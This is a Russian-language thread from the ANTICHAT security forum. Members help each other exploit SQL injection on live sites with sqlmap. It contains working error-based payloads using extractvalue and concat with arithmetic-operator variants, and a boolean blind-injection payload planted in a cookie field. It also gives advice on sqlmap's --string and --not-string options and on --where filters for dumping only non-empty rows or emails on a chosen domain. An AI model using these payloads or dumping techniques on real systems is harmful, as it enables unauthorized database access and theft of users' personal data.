ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
05.08.2019, 12:47
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585
Репутация:
818
|
|
Сообщение от LeninDie
↑
привет. подскажите как мапу указать на то какие данные меняются? скуля слепая
у вас ответ а не запрос
|
|
|
05.08.2019, 14:04
|
|
Познающий
Регистрация: 26.12.2015
Сообщений: 34
Провел на форуме:
12479
Репутация:
2
|
|
Сообщение от b3
↑
у вас ответ а не запрос
дополнил
|
|
|
|
06.08.2019, 20:23
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от BenderMR
↑
День добрый, господа.
Есть такая скуль:
Код:
https://site:com/?p1=v1&p2=v2&p3=v3&p4=v4%27,%20extractvalue(0x0a,concat/**/(0x0a,(select%20database()))))--+-
Где вроде как insert statement, потому что если после ' не добавить еще один параметр через запятую, то выдается такая ошибка:
Код:
Column count doesn't match value count at row 1
Подскажите, реально ли такое засунуть в мап и как это сделать?
Делайте через
Код:
https://site:com/?p1=v1&p2=v2&p3=v3&p4=v4%27*extractvalue(0x0a,concat/**/(0x0a,(select%20database()))))--+-
https://site:com/?p1=v1&p2=v2&p3=v3&p4=v4%27-extractvalue(0x0a,concat/**/(0x0a,(select%20database()))))--+-
https://site:com/?p1=v1&p2=v2&p3=v3&p4=v4%27/extractvalue(0x0a,concat/**/(0x0a,(select%20database()))))--+-
и вариации
|
|
|
|
07.08.2019, 11:04
|
|
Познающий
Регистрация: 26.12.2015
Сообщений: 34
Провел на форуме:
12479
Репутация:
2
|
|
Сообщение от LeninDie
↑
привет. подскажите как мапу указать на то какие данные меняются? скуля слепая
в куках уязвим параметр identifyId: amplitude_idundefined={"optOut":false,"sessionId": null,"lastEventTime":null,"eventId":0,"identifyId" :027179381' or 3726=3726--,"sequenceNumber":0} я так понимаю нужно добавить --string="а вот что здесь хз"
может кто нибудь подсказать решение?
|
|
|
|
07.08.2019, 11:38
|
|
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
Провел на форуме:
92829
Репутация:
212
|
|
Сообщение от LeninDie
↑
может кто нибудь подсказать решение?
Ищи строку, которая всегда присутствует на неижектированной странице и неизменна(обязательно), но отсутствует при внедрении и false ответе
Если добавляется какая-либо строка при false то использовать нужно --not-string="bsdhbhsb" , но при условии если она отсутствует при тру ответе
По крайней мере так написано в манах
|
|
|
|
07.08.2019, 16:24
|
|
Познающий
Регистрация: 23.02.2019
Сообщений: 65
Провел на форуме:
22457
Репутация:
10
|
|
Сообщение от LeninDie
↑
может кто нибудь подсказать решение?
Ты скидывешь скрин ответа, нужен скрин запроса
|
|
|
|
14.09.2019, 00:30
|
|
Познающий
Регистрация: 30.08.2016
Сообщений: 34
Провел на форуме:
12641
Репутация:
0
|
|
Такой вопрос.
Есть колонка Type допустим, строк 100к+, практически везде колонка пустая, но в некоторых есть данные.
Можно ли как то сдампить только те что содержат данные?
Какие там данные я не знаю, так можно было бы --where указать
|
|
|
|
14.09.2019, 00:42
|
|
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
Провел на форуме:
92829
Репутация:
212
|
|
Сообщение от Estet
↑
Такой вопрос.
Есть колонка Type допустим, строк 100к+, практически везде колонка пустая, но в некоторых есть данные.
Можно ли как то сдампить только те что содержат данные?
Какие там данные я не знаю, так можно было бы --where указать
where=Type != NULL
или так
where=Type != ''
|
|
|
|
14.09.2019, 01:09
|
|
Познающий
Регистрация: 30.08.2016
Сообщений: 34
Провел на форуме:
12641
Репутация:
0
|
|
Спасибо за помощь. Еще один, последний вопрос.
Можно ли как то указать подобную конструкцию --where=email=.....@site.com
Тоесть сдампить по электронке на указаном домене?
|
|
|
|
14.09.2019, 01:32
|
|
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
Провел на форуме:
92829
Репутация:
212
|
|
Сообщение от Estet
↑
Спасибо за помощь. Еще один, последний вопрос.
Можно ли как то указать подобную конструкцию --where=email=.....@site.com
Тоесть сдампить по электронке на указаном домене?
--where=email LIKE '%@site.com'
но не уверен, сейчас проверил на sqlmap - не хочет работать, хотя вручную все работает
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
